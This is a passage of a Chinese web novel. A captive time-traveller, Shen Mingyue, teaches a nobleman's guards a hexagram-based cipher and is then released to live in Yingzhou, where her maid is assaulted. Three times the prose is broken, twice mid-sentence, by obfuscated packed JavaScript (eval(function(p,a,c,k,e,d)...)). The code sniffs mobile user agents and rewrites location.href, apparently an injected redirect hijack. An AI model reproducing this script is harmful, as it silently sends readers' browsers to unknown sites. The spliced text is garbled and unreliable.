顾洲听完反倒轻松起来,这是在讽刺他不讲信用,现在生死大权握在他手中,这女子也只能嘴上逞强。 他没有理会她,只示意侍卫带她去看那个叫莺儿的婢女。 沈明月走后,曾在河边与他回话儿的那个女子走上前来,行礼后问道:“主上,此人来路还未查明,就这样留下,会不会是隐患?” 天已大亮,烛台上的蜡烛已经所剩无几,顾洲看着几欲熄灭的火光,说道:“人在我们手里,她翻不起什么浪花来,传出话去,就说我招了位姓沈的女夫子。海棠,这几日你跟着她,若有什么不妥就地处决,不必上报。” 这个叫海棠的女子领了命,便去找沈明月,她自然明白,主上此举意在告知沈明月的上线,她已投入大皇子麾下,上线若想除掉她,自会有人来动手,他们只要坐山观虎斗即可。 彼时莺儿正在拉着沈明月查看她是否受到伤害,边哭边说:“姑娘,你还好吗?他们为什么抓咱们?” 沈明月看着莺儿穿戴整齐,不像是受过委屈的样子,才说道:“我没事放心,莺儿,估计咱们还要在这里待一段时间,我要为他们办点事情,之后咱们就离开……” “她们要姑娘做什么?”莺儿不由得又担心起来,她已是惊弓之鸟,一个弱女子进了军营能什么好结果。 还未来得及回答,敲门声响起,莺儿立即护在沈明月身前。 沈明月见来人一身玄色绣纹衣,面色严肃眉间一股英气面色严肃,若不是见过她风流妖娆的样子,真想象不出她也会笑。 她反将莺儿拉至身后,说道:“我跟你走,你主上答应过我会确保她的安全。” “你们一起走。”海棠面上毫无表情。 “去哪里?”沈明月追问,可海棠并未回答。 接着二人被蒙上双眼带上了马车,马车走得并不平稳,凭身体的惯性,沈明月能感知到马车转了很多弯,而且在上坡。 约摸一个时辰之后车停了,摘掉黑布,果然是到了半山上的一处宅院,但见青砖斑驳、木门老旧,推开门扉,转过影壁,却别有洞天。 此乃一座两进的院子,走进正门,穿过花厅,便是正堂,院内仆妇小斯俱全,皆恭敬行礼问安。 这院子这般隐秘,莫不是那纨绔金屋藏娇的别院?也不知美娇娘住在哪里?沈明月正探究着,却听领路的那女子说道:“以后就在里授课。” 沈明月收回思绪,顺着女子的目光看过去,是正堂西侧一间不小的书房,她想开口却不知如何称呼对方,便问道:“敢问姑娘名讳。” “海棠,我带你去住处看看。” 海棠言语冰冷,并没有给她参观的时间,沿着游廊绕过正堂向西,穿过月亮门便到了另一处院子。 她在门口驻足,“你以后就住在这西院,此处西南是花园,花园与书房相通,你们没事不要乱走动。” “好,只要能保证我们的安全,我保证不会扰别人清净。”沈明月信誓旦旦。 海棠离去,二人进了西院,一个中年嬷嬷迎了上来,恭敬地说道:“请姑娘们沐浴更衣。” “多谢。” 沈明月正愁这一身霉味,便随嬷嬷进了浴房,要舒舒服服地沐浴清洗一番。 莺儿看着准备的衣衫,悄声问道:“姑娘,他们怎么舍得给咱们准备这么贵重的料子。” 沈明月摸摸衣料,细腻柔软、光泽熠熠,大约是借了美娇娘的光,但她没有点破,只是说道:“他们现在有求于你家姑娘,自然不会薄待。” 莺儿有些小骄傲:“奴婢就知道夫人将姑娘养得博学多才,定会有用处。” 沈明月却高兴不起来,她自有担心,又叮嘱了一遍:“莺儿记住,在这里一定要谨言慎行,不要与那嬷嬷多言。” 莺儿自悔失言,为大姑娘擦洗着后背,使劲点点头。 当莺儿沐浴完来到卧房时,沈明月正坐在镜前编头发,以前上学时长发只编成两条麻花辫,而后入伍便剪了短发,那繁杂发髻她不会梳。 莺儿赶紧上前拿起梳子,解开了她的辫子,神色略带慌张:“姑娘怎么会梳北蛮人的发式?” “普通编发而已……你说的北蛮人是?” 莺儿为她改梳盘龙髻,回答道:“姑娘不出门不知道,奴婢以前买糕点的时候听说现在咱大齐北境不太平,北蛮人常常来捉人。” 沈明月来到这里快两个月了,竟还不知道这个天下的情况,于是继续问道:“那事情应该闹得很大,都传到这里来了。” 莺儿从镜中疑惑地看了一眼她,说道:“姑娘大约是太累糊涂了,这营州就挨着北境,出了营州就是北蛮人的地盘。” 看来这个社会也有不太平的地方,怪不得有那么多流民,沈明月讪讪一笑:“哦,哦……是有些累了……那姑娘考考你,除了大齐,还有哪些国家?” “这个可难不倒奴婢,中原二分,北齐南陈,划江为界。”莺儿说罢拿起一根玉簪在她发间比了比。 “那齐国的皇帝是谁呢?” “夫人教导过,要避国讳,当今圣上而立之年继位,在位十余年,励精图治,才有了今日的盛世。” 这些离沈明月很远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350332|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没有必要关心,她拿起一根木簪插在发间:“这个就很好,其它首饰贵重,咱们要有自重,非己勿贪。” “是。”莺儿又拿了一根木簪,插在发髻上固定头发。 午饭四菜,色相俱全,饭后还有一道汤,折腾了一上午,沈明月早已饥肠辘辘,闷声干了两碗饭,看得莺儿眼睛都直了。 午憩后,沈明月打算去书房看看,她未敢擅自行动,而是先问了院中的嬷嬷可否出去,是否会打扰到旁人。 未料嬷嬷回答:“姑娘请便,这别院里并无他人居住。” 这反倒让沈明月觉得自己是小人之心了,原是她想错了,那么那衣衫、首饰、吃食皆是为她们准备。 这纨绔还算有点良心。 出门便到西花园,园子并不宽广,但小巧雅致别具一格,沿着青石板铺就的小路,穿过各式花草,到了园子正中,小路在此分径,一条通向书房,一条的尽头有一座飞檐翘角的亭子掩映在花树之间。 沈明月先来到书房,门口并无人值守,里面窗明几净、书册满架,装饰得简约雅致,倒是可窥见主人的朴素。 这倒不像是那纨绔的书房,但这又有什么关系呢?她只负责授课。 拿了笔墨和纸后,她去了亭子,虽说这里将会是课堂,但现在还是私人之地,不好久留。 到了亭子,才看见亭子旁有一个小池,池内几片睡莲叶子漂浮,几尾金鱼游弋其中,若是在此品茶赏花观鱼,倒是别有一番意趣。 胡思乱想什么?她拍了拍头,坐在石桌旁写起讲义来,直至天黑才回去,此间竟无一人来打扰,这个院子静得有些过分了。 如此过了三日,讲义早已写完,穷极无聊,沈明月从书房拿了一本《南华经》来读。 由于久坐,身体有些僵硬,她起来拉伸了几下,而后站在水池前看鱼,心下感叹:想此鱼未游江湖之远、未见海天之阔,一生终将囿于池内,着实是可怜。 想到此处,她不免有些心急起来,眼下她就如同这池鱼一般,不得自由,也不知还要等到什么时候才能离开这里。 她闭眼叹了口气,再睁眼时却见水中多了一个黑影,定睛一看原来是那纨绔。 扭头只见那人一袭白衣立于身侧,她忙后退一步,拱手为礼:“不知……将军到来,失礼、失礼。” “真是好兴致!到书房来。”顾洲依旧没有表情,语气虽平淡,却透着不可违逆的命令。 沈明月顾不得这些,内心竟有些激动,终于看到离开的希望了,她将讲义交给顾洲过目。 顾洲翻开讲义粗略看了两眼,随后问道:“什么时候开始授课?” “在下早已准备好,只待将军的侍卫到来。” “好,那就明日辰正开课。” 人在屋檐下不得不低头,沈明月态度谦恭连连称是,告辞离去。 书房里没了外人,海棠将一折文书奉给顾洲:“主上,这是北境传来的消息。” 顾洲接过略看了几眼,不由得皱紧了眉头,继而放下翻起了书册,问道:“秦香楼那边处理好了吗?” “已经处理好了,属下贱籍已销。” “好,这几日可有人来探查?” “没有,一切照旧并无异样,属下遵照主上的吩咐撤走了侍卫,院内也未安排人值守,但这二人很讲规矩,也不多言,似乎这女子并未撒谎。” 顾洲翻出书中早已夹好的纸条:“的确没有动过的痕迹……明日授课,让大家谨慎些。” “是……”海棠耳聪,听见树叶声忽然住口,透过窗子看到树枝摇晃。 “谁?” 5. 授课 海棠追出去,只见一抹粉色消失在花树之后,她想继续去追,却被顾洲拦住。 “不用去了。”顾洲看着小径上的落花,竟想到了沈明月看鱼时叹息的背影。 真是个奇怪的女子,未及桃李年华,应是待字闺中的娇女,而她却自带一种江湖豪气。 纵然他周旋于朝堂臣工之中,自认能见微知著、察人于细,但他却看不透这小女子,她究竟是谁?有什么意图? 落日西斜,阳光透过树枝的缝隙疏疏散散地照上了墙壁,沈明月看着树影斑驳,回想着刚才海棠和纨绔的话。 方才是太过兴奋的缘故,她出了花园,才发现《南华经》还在手中,便又折回送还,走近书房隐隐听见里面传出“北境”二字,便驻足想听听。 这几日来,她见这里防守松懈、嬷嬷和善,也曾质疑自己的判断,但海棠到话让她坚定自己的想法,果然一切皆是故意安排。 清者自清,浊者自浊,被如此怀疑她没有生气,反而有些同情他们,惊弓之鸟才会如此谨慎,他们每个人似乎都戴着千斤的枷锁,没有一个人可以轻松地活着。 当晚沈明月早早睡下,不知那些“学生”的学习能力如何,需养足精神以应对。 次日一早,她在一阵莺啼鸟啭中醒来,推开窗棂,一股清冽的草木气息涌入,鸟儿受惊飞走,树枝颤动落下几滴水来,院中亦是土润苔青,原是昨夜里落了微雨。 山间寒凉,日虽高升,但微觉轻寒,沈明月边走边搓了搓双手,径直来到书房,里面已加了几张书案,倒是有了些学堂的意思。 海棠带着九个男子,已在内等候,见了沈明月,众人表情各异,有的目光诧异,有的面露不屑,还有的表面虽镇定,但目光中却带着质疑:原来这个女子就是主上请来的先生。 沈明月扫视了一眼众人,看着好生眼熟,原来他们就是这院子中的小厮伙夫,这让她觉得好笑,这纨绔倒的安排倒是有点意思。 她笑着对众人说道:“同学们好,我姓沈,是此次密码课程的教师,本次课程为期十日,希望我们合作愉快。” 众人没有回答,甚至有人发出不屑的讥诮之声。 沈明月并不在意,开始理论授课,四句口诀好记,应用起来却不简单,她讲了一上午,学生们却一头雾水,渐渐有些烦躁。 沈明月也觉得吃力,这群学生水平参差不齐,对她也并不诚服,纪律性差,需要减缓一下授课进程。 她正准备下课时,一个约么十六七岁,长相隽秀的男子提出了异议:“就这几句话,看两遍就能记住了,今日便可结课,何须十日?” 沈明月解释道:“知其然也要知其所以然,我们先从最基础的理论讲起,后面的应用学起来会容易一些……” 男子不等她说完嘲讽道:“不过是文字转为数字,有什么难的,我看你这小女子该不是为了骗束脩的吧?” 众人正不耐烦,此言一出,竟有几个人跟着附和。 不过是学生顽劣罢了,沈明月忍着怒气自我安慰,继续笑道:“这位同学,首先,我既然是你们主上请来的,而且站到了这个位置上,你理应叫我一声先生;其次,这四句口诀人人可学人人可知,但要从中传递消息就要有一套自己的规则,万一以后泄漏也不会影响保密性。” 此言一出,立即有人反驳:“你血口喷人?你的意思是说我们会背叛?主上待我们恩重如山,我们自是忠心无二。” 还真是听三不听四,抓不住重点,沈明月无奈解释:“我并非说你们会背叛,我只是教你们化繁为简,以简驭繁……” 众人又议论纷纷:“保不准你会背叛,这法子你也会教给别人。” “就是,就是,一个小女子懂什么,我看就是骗人的。” 那男子示意众人安静,对沈明月说道:“这声‘先生’我们叫不出口,你这方法也有待验证,若你能拿出真本事来让我们服气,小爷我给你磕头道歉。” 沈明月心中冷哼一声:姑且陪你们玩玩。 她提笔写下一串数字,交于众人后说道:“给你们半日时间,将这这数字翻译成文字,若正确,我立刻请辞。” “不需半日,午后便可翻译出来,若有不对,小爷我给你三叩首。”那男子似有成竹在胸,信誓旦旦地对她保证。 她看着众人得意,默默叹了口气,夹着讲义离开了书房。 午后阳光和煦,沈明月折了段树枝,拨弄着鱼池里的水,小鱼隐在莲叶下,快速冲出啄了一下花瓣便又隐藏回去,逗完鱼儿,她坐回到亭子里边喝茶边翻书,只等众人来交卷。 一壶茶尽、一册书读完,依旧不见有人来,她起身活动一下,踱步至书房,只见一众人围在一起,十分认真,并未察觉到她进来。 她也围了过去,见已经写了几份答案,便问:“怎么样了?” 众人听完一惊,都看向那男子,男子挠了挠头:“倒是能翻译出来,只是语句不通顺,还请先生指点。” 沈明月听见“先生”二字,便知阻碍已除,也不端架子,而是肯定道:“不错,大家都很聪明,学得很快,按照口诀翻译的一点问题都没有,但是希望大家换个思路想一想,比如这样。” 她将数字隔一取三,再隔一取一,便又新组了一串数字。 众人看完恍然大悟,立即重新写了起来,很快翻译出来八个大字:追求真理,崇尚科学。 那男子未有迟疑,走到沈明月身前,双膝跪地奉上纸条:“学生徐铭,叩拜朱先生。” 说罢规规矩矩叩了一首。 众人见他如此,也纷纷过来叩拜,并报上姓名,唯有海棠海棠一言不发,冷眼看着这一切。 沈明月忙请众人起来:“大家不必如此,快请起,我好好教,你们好学好,还是那句话,合作愉快。” 徐铭痛快地回答:“是,谨遵先生教诲,敢问先生这‘追求真理,崇尚科学’作何解释。” 这要如何解释?这其中的含义不是他们能理解的,沈明月清了清嗓子,故作高深:“待课程结束,你自会理解其中的深意。” 课程继续,众人的态度都变了很多,那个叫徐铭的男子十分聪慧,什么东西学一遍就会,却也是个刺头,课堂上说笑走神不说,迟到更是常事。 转眼课程进度过半,沈明月出了道试题给众人,她来回巡视,走到徐铭跟前,轻敲书案叫醒了他,示意他出去站着。 徐铭揉揉惺忪的睡眼,不情不愿地走到了门口,沈明月带他来到廊下,苦口婆心地说道:“徐铭你怎么回事?几次了我都没好意思说你,能不能有点自觉。” 徐铭听完只觉心中冤屈,他是主上的贴身侍卫,要夜间巡视,睡觉十分不规律,再者日日将他圈在这里,亦十分无聊,但他未解释,只说道:“先生恕罪,我实在是困倦,下次再不敢了。” 沈明月知他只是嘴上说说,并不走心,便让他在这里站到下课,以示惩戒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350333|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微风拂过,徐铭正想着若在廊下挂个铃铛应该不错,忽闻到空气中一股桃花脂粉味,他扫视一圈,果见一女子提着食盒自小径走来,转眼到了跟前。 他拦住她:“沈先生正在忙,且等一等再进去。” 莺儿并不常来书房,不认得他,便问:“你是谁,怎么不在里面?” 徐铭打量着她,笑道:“你是沈先生的婢女吧,在下徐铭,在此保护沈先生安危。” 莺儿向书房方探头,果见姑娘正在指点功课,便将食盒交给徐铭,说道:“烦请小哥儿将糕点交给我家姑娘,我就不打扰了。” 说罢放下食盒沿原路返回,因担心那徐铭偷吃,几步路后,便回头一望,正对上徐铭的痴痴的笑意,她顿觉羞涩不已,一片红霞飞上脸颊,将头一低快步离开。 徐铭看着这小女子的羞赧,只觉欢喜,打开食盒,随手拿起一块吃了起来,半块糕点还含在嘴里,便有人从身后将他捉住,他以为是谁在开玩笑,一个过肩摔将那人摔倒在地,笑着回头看,却看见面带愠色的主上。 他心中大惊,笑容瞬间凝固在脸上,那糕点在噎在嗓子里,吐又吐不出来,咽也咽不下去,想请罪却说不出话来,憋得满脸通红。 这动静传入书房,众人纷纷向外探头,沈明月只让众人继续学习,她独自出来,却看见纨绔面色阴沉,正命令侍从:“来人,行鞭刑。” 不过是贪玩些,怎么就到了行刑的地步,沈明月上前阻止:“且慢,为何要罚他?” “不守规矩,不敬师长,不重学问,该打该罚。” “属下知错,愿受责罚。”徐铭已将糕点咽下,向顾洲请完罪后,站起来就要跟着人去受罚。 沈明月却阻止道:“虽有贪玩,但罪不至此。” 顾洲声音低沉:“他是我的侍卫,还轮不到你来管!” 沈明月并不退让:“他现在是我的学生!他受伤休养便会耽误整体课程,这是在耽误大家的时间。” 顾洲扫了她一眼,眼神中充满了警告,但她并不在乎,直视回去。 她竟敢这样! 最后顾洲还是收回目光,对徐铭说道:“暂且记下,以后双倍处罚,滚。” 徐铭谢恩后灰溜溜地进了书房。 “以德服人,心悦而诚服”,这纨绔只会动刑罚,还真是野蛮,沈明月也未告辞,径直进了书房。 插曲结束,所幸未影响课程进度,沈明月掰着手指头算,距离开的日子又近了一日。 当晚,月光皎洁、纤尘不染,忽而窗外隐约有笛声传来,她打开窗户,华光洒入,声音也清晰起来。 笛音婉转,惆怅无限。 她踏着清辉出门望月,“今人不见古时月,今月曾经照古人”,但于她而言,却是今人正观古时月。 月圆人团圆,可她却再也不能和家人团圆了,前世母亲和弟弟惨死敌手,父亲去向不明,家国正饱受危难,而她被困在这个时空中,什么也做不了。 想到此处,她已潸然泪下,心绪难解。 一件披风从身后披来,沈明月转身见到莺儿担忧的眼神,也许以后只有她二人相依为命了。 她抱着莺儿抽泣起来,低语道:“我回不去了,我没有家了……” 莺儿听见姑娘这样说,又想到故去的夫人,便也跟着哭泣起来。 笛声不知何时止住,沈明月抬头拭泪,却见一个手持玉笛的身影,立于隔壁东院的屋顶上,正俯视看她们。 6. 繁简 顾洲因北境之事,屡屡上书欲出兵北蛮,但皆以各种理由驳回,旨意上虽未明说,但他也能猜出是朝中秦王和晋王一党从中作梗。 近几日他不眠不休,布局营州边防才使得北境略有稳定,朝中却有人上书指责他不听调遣私自用兵,斥责的旨意八百里加急送到,他本就心中委屈,上山又见徐铭不守规矩,便更加恼火。 还有这个沈明月,当真是大胆,连他的话都敢反驳,偏偏课程还没有结束,不能拿她怎么样,越想越气,便晚膳也未用,只携了一壶酒、一只笛到房顶去赏月。 他生逢战乱,父亲忙着打天下,他则跟着母亲颠沛流离、四处逃亡,父亲登基后没多长时间,她母亲再度生产时一尸两命撒手人寰,那时他只有八岁,后宫中皆是父亲为了拉拢朝臣娶回来到嫔妃,每个人后面都有一方势利,他于夹缝中艰难生存。 这只笛子是他母亲的遗物,伤心郁闷的时候总习惯吹奏一曲,想想母亲,他便觉得不再那么孤单。 未料这笛声也引出了隔壁西院居住的沈明月,她哭得那么伤心,原来也是家人亡故的原因,想她一个孤女,在这世间应是十分不易。 但每个人的难处与酸楚,别人无法看透,也无法与人共情。 天上月无言,看惯了多少悲欢离合,而这些悲欢压在每一个人身上,都是无法承受之重。 一夜心事潦草,沈明月醒来,只觉眼睛浮肿,便让莺儿为她画了个淡妆来遮掩,之前的理论课程已授完,今日起就要教授算法。 到了书房,她将两张书案并在一起,众人围桌而坐。 “学了几日理论,相信大家都已经掌握了方法,但密信系统要有一套自己的规则,大家以前传密信都用什么方法?” 沈明月此言一出,众人皆低头不语,海棠更是谨慎地看了她一眼。 她微微一笑缓解尴尬,接着说道:“很好,大家都纪律性很强,那么我来说,密信书写无外乎几种方法,或浸水或烤火,但今天我们要讲的是明着书写也不会泄密的方法:六爻法。” 这种方法是将〇至九这十个数字转为二进制数〇和一,再用阴爻和阳爻表示〇和一,一个数字便可用一个卦象来表示,其中下卦的人爻和地爻不计入其中,可随意变动。 譬如设定下卦的人爻和地爻均为阴爻,那么〇至九所对应的卦象分别为:〇,坤;一,剥;二,比;三,观;四,豫;五,晋;六萃;七,否;八,谦;九,山。 根据下卦中人爻与地爻的变化,〇至九对应卦象共有四组,四组混用便有无穷的组合,这便是之前所说的:化繁为简,以简驭繁。 沈明月讲得很详细,众人听得也很认真。 接着,她拿出一方手帕放到书案上,说道:“信息传递不要拘泥于笔墨,飞花落叶皆可传信,这帕子上有一句话,大家研究一下。” 帕子传到了徐铭手中,他“啧啧”了两声:“这绣工可真够差劲的……” 沈明月敲敲桌子:“你倒是有研究,没少收姑娘的帕子吧?还真是什么样的将带什么样的兵……” 此话引得众人一阵哄笑,她示意众人安静,“大家可看出什么了?” 还是徐铭机敏:“这水波纹怎么是平的?”继而明白过来,两针短针代表阴爻,一针长针代表阳爻,于是动笔研究。 沈明月满意地看着众人,抬头揉了揉发酸的脖颈,余光瞥见窗户处有一道黑影,转头一看正见那纨绔立于窗前盯着他们。 还真把自己当教导主任了,她不觉皱了眉,狠狠瞪了一眼。 这目光让顾洲一愣:她竟敢如此! 他方才路过正堂,听见书房里传来笑声,这些侍卫在他面前永远是一副谦卑顺从的样子,几乎从来没见他们笑过,他便忍不住好奇过来看看。 透过窗子,正见沈明月的侧颜,她今日竟然画了妆容,眉似新月、脸颊淡红、唇色绯然,从容自然地与众人说笑,可见了他却立即换了副面孔,他想大约是他自身令她讨厌的缘故吧。 他并不想打断这和谐的氛围,默默转身离开。 北方的春季短暂,西花园的荼靡开始绽放时,课程结束了,比沈明月预计的整整晚了五日,她向众人道了别,准备回去收拾东西。 徐铭却追到西花园里,问道:“沈先生留步,您说我学完便可理解‘追求真理、崇尚科学’,可是我还是不能理解,是不是我太笨了?” 沈明月原是想激励众人学习,故而留了悬念,不想他还记得此事,但她未解释,只是说道:“这些道理是多少代人总结出来的,等你长大些会理解其中的深意的。” 徐铭看着眼前比她矮一头的先生,说道:“看先生的样子应该不比我大,竟然能懂得。” 沈明月已经二十岁,只不过这具身躯虽然与她前世毫无二致,但却只有二八年华。 她微笑着掩饰道:“我只不过事经历的事情多些罢了……徐铭,你很聪明,但却贪玩大意,这一点一定要改改,以后的人生还很长,要认清跟着的人,选好脚下的路,不要走歪。 徐铭挠挠头,说道:“先生教训的是,先生放心,我跟着主上绝对不会走歪路。” 沈明月无奈地摇了摇头,看来这孩子还真是被洗脑了。 徐铭却还是追问:“倒是沈先生,以后要去哪里,我以后还能不能见到先生。” “这个我还没有想好,若是有缘,一定会再见面的。” 徐铭还想说什么,却听脚步声近,二人见顾洲带着人过来,便不再交谈。 顾洲看向徐铭:“去领罚吧。” 徐铭低下头去,行礼后跟着侍从去了。 他又转向沈明月:“怎么不拦着了?” “课程结束,他不是我的学生了。”沈明月顿了一下:“我们什么时候可以离开?希望将军能说话算话。” 顾洲面色沉静,“那是自然,我也不是言而无信之人,明日一早便送你们下山。” 沈明月听着这句话倒像是自辩!但是已经没有意义了,此后桥归桥、路归路,再不会见面了。 “这些讲义留给你们吧,我也没什么用了。”她将讲义交给他,道了声“告辞”便离去了。 顾洲翻开讲义,一方手帕掉落,他捡起来仔细端详,嘴角浮上了一抹淡淡笑意。 这绣工还真是够差劲的。 天公不作美,傍晚的一场大雨浇灭了沈明月的兴奋,山路湿滑,下山的日期只得延后,别院人已散尽,只剩下门房和那个嬷嬷。 山雨时断时续,好生让人心烦,沈明月看到案几上还有几册书,便趁着雨小去书房还书。 未料行至半路,雨忽而大了起来,她右手抱着书,左手撑着伞,无暇提裙摆,待上连廊的台阶时不小心被绊倒,书散落了一地。 她向来珍视书籍,立即蹲下身去捡。 此时,有一人也俯身将其它的书捡起来,一并递上。 沈明月看着修长如玉的手指有些疑惑,抬头一看,目光正对上顾洲深邃的眸光,他依旧面冷如冰,可眼神中却少了戾气,多了几分清明和温润。 她将书接过,轻轻吹去上面呢的尘土,起身站立不稳,发觉膝盖隐隐作痛,原来是方才磕到了腿。 顾洲伸手想扶她的胳膊,却被她侧身躲过,站稳后说道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350334|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “多谢,我来还书。” “送进书房。”顾洲收回手,言语间带着命令的口气,转身向书房走去。 沈明月揉了揉膝盖,也跟着进了书房,里面海棠正在研磨,她今日未着黑衣,而是穿了一身妃色衣裙,更称她艳丽的容貌。 绿衣捧砚、红袖添香,于这纨绔来说雅事,却难为这美人了,被他困住不得自由。 海棠见她来,迟疑了一下后道了声:“沈先生。” 她点头示意,将书放到书案上就离开,却瞥见案上一块虎头钮镇纸下压着八个大字:化繁为简,以简驭繁。 字迹穹劲有力却也端方优雅,倒不像是这纨绔能写得出来的。 管他呢,她再不想和他有半点交集。 海棠看着沈明月离开的背影,不确定地问道:“主上当真要放她们下山?” 顾洲翻着书案上的书册:“此事她也算尽心,倒是解决了咱们一个大问题,君子守信,放她们去吧,京中还有什么消息吗?” “柳侍郎家传出消息,说是他家大姑娘水土不服,进京后便一病不起,您的婚事怕是要推迟了。” 顾洲听完捏了捏额头,他父皇下了斥责的旨意后,又下了一道赐婚的旨意,打一巴掌给个甜枣,但这甜枣他并不想要,有了家室便有了累赘。 当晚天气放晴,次日碧空如洗。 徐铭架驾车带她们下山,那纨绔竟没有再将她们的眼睛蒙住,这一路山花明艳,好鸟相鸣,甚是欢快。 沈明月看着朝气蓬勃的徐铭,问道:“你的伤好了?” 徐铭将叼在嘴里的草棍吐掉,回答道:“先生放心,主上舍不得真打我。” 道路不平车身晃动,沈明月扶稳后说道:“原来是杀鸡儆猴,我算是白替你担忧了。” 徐铭减缓了车速,“还是要感谢先生替我求情的,原是我贪玩该罚,但若主上在气头上罚我,我还真的趴上几日,等他过了气头就没事了。” 沈明月有些不悦:“我可没求他……你将我们送到营州城门口即可。” “我还是将先生送进城去,待先生安顿好后再回去,对了,主上给先生的束脩在车上的盒子里,请先生收好。” 沈明月打开座位处的木盒,十锭崭新的银元宝赫然在列,这纨绔还真够意思。 马车进了营州城,徐铭又帮忙赁了屋子、置办了些常用物品后才离开,沈明月与莺儿收拾了一日,这处不大的居所终于有了家的样子。 莺儿收拾着徐铭买回的碗筷,感慨道:“这徐小哥儿人还真不错。” 沈明月却带着戒备说道:“先别急着夸他,保不齐他是那纨绔留下的眼线?” “那咱们该怎么办?要不要离开这里。”莺儿有些担忧。 沈明月思考了一下说道:“先稳住他们,过段时间再说,现在柳家肯定还在找咱们,说不定咱们还用得着他们。” 算着剩下的银钱,足够她们半年的开销,但也不能坐吃山空,她打算继续将写字摊子开起来。 在附近观察了两日后,她将摊位摆在了附近观音庵旁边,此处寻常巷陌人家,人口密集,最具烟火气,偏偏只有这烟火气让她感觉到了世间的安稳,她十分享受这平淡的生活。 如此,相安无事地过了一个月。 这日,沈明月接了个大单子,东家给了不少的定金,她收摊后特地买了一只烧鸭犒劳自己,转过巷口,就远远看见莺儿站在门口抹眼泪,一个男子站在她身前。 莫不是莺儿又遇到什么歹人了?她未多想便冲过去,从那男子身后给了他一脚。 男子大叫一声,趴到了地上。 7. 诱拐 沈明月呵斥道:“哪里来的登徒子?” 那男子趴在地上回头,幽幽地叫了一声:“沈先生……” 这声音好生熟悉,不是徐铭更是何人? “徐铭?原来是你,抱歉抱歉。”她不好意思地道歉,边说边上前欲将他扶起。 徐铭却一翻身自己爬了起来,拍了拍身上的土,规规矩矩地向她行礼:“问沈先生安。” “进来坐坐。”沈明月拿钥匙开门,又问莺儿:“你怎么了?怎么不回家?” 莺儿低头嗫喏道:“钥匙丢了。” 看她这眼含滴泪的模样,不像是仅仅丢了钥匙这般简单,沈明月想大约是因为徐铭在不方便说,便小声劝慰道:“没事,发髻都乱了,去洗把脸。” 接着又转向徐铭:“你欺负她了?” 徐铭忙摆手:“岂敢、岂敢,正好半路遇到了,便送她回来。” “那倒要多谢你,你怎么进城来了?”沈明月说着,倒了杯水递给他。 徐铭忙将手在衣服上擦了擦,接过水杯,“劳烦先生倒水,罪过、罪过,我随主上进城办些事,来看看先生。” “他不需要你护卫?” 徐铭饮尽杯中水,回道:“主上他有要事,有海棠在身边,暂时不需要我。” 沈明月撇撇嘴:“走马章台去了吧,傻小子,他那正事,是不方便带着你。” “先生误会主上了。”对于主上的事,徐铭不能多说,只简单解释一句,可他的目光却越过沈明月看向莺儿的房间。 “晚饭在这里吃饭吧,我买了烧鸭。” “好,我帮先生烧火。”徐铭挽起袖子,痛快地答应了。 沈明月也看向莺儿的房间,平日里是莺儿做好饭等她回来,今日却还没有出来,她不禁有些奇怪,边淘米边问道:“你在哪里遇见莺儿的?” 徐铭迟疑了一下,说道:“在东边的巷口,她说银钱被偷了,钥匙也丢了,怕……怕被先生责备……” 沈明月见他言辞闪烁,直接揭穿他:“说谎也要有条理,她买菜要往西走,你怎么会在东边遇见她,还有,我何时责备过她?” “这……是我记错了……”徐铭还在掩饰。 沈明月知他有意撒谎,便放下手中的菜蔬,坐到他身边小声问道:“到底发生什么事了?” 在她的一再逼问下,徐铭终于说出了实情,莺儿外出回来为抄近路走了小巷,却被歹人尾随,歹人不仅抢了银钱,还意图不轨,说了些“清白早没了,还有什么害羞的?”的话,正巧他路过巷口,听见动静将人救下。 沈明月的脸变得阴沉,手中的木柴棍已被掰成几段,秦香楼竟然还敢做此事,看来新仇旧恨要一起报了。 她见徐铭话语间满是担忧,并无讥笑之意,心中不禁感激他,但也叮嘱他:“莺儿的事不要外传,那歹人是秦香楼的人,我会找机会为她报仇。” “我自然不会说,先生放心,我去把那人捆了打一顿,让他长长记性。” 沈明月却说:“不要把事情想得太简单了,这像是一个贩卖人口、逼良为娼的团伙,他们既然敢白日行凶,背后的势力不容小觑,打他一顿是出气了,可以后还会出现这样的事,不是莺儿也会是别的姑娘。” 徐铭觉得道理,点点头道:“先生要怎样做?” 沈明月摇摇头:“我还没想好,以后我会将她带在身边,徐铭,你身份特殊,就不要卷进来了。” 这一餐饭只有沈明月和徐铭两个人默默地吃完,之后徐铭带着担忧告辞了。 沈明月安抚完莺儿,一夜未睡,次日她便去了府衙报案,可府衙的参军却以“没有证据便是诬告”的理由回绝了她,如此她便猜出,秦香楼跟官府有勾结。 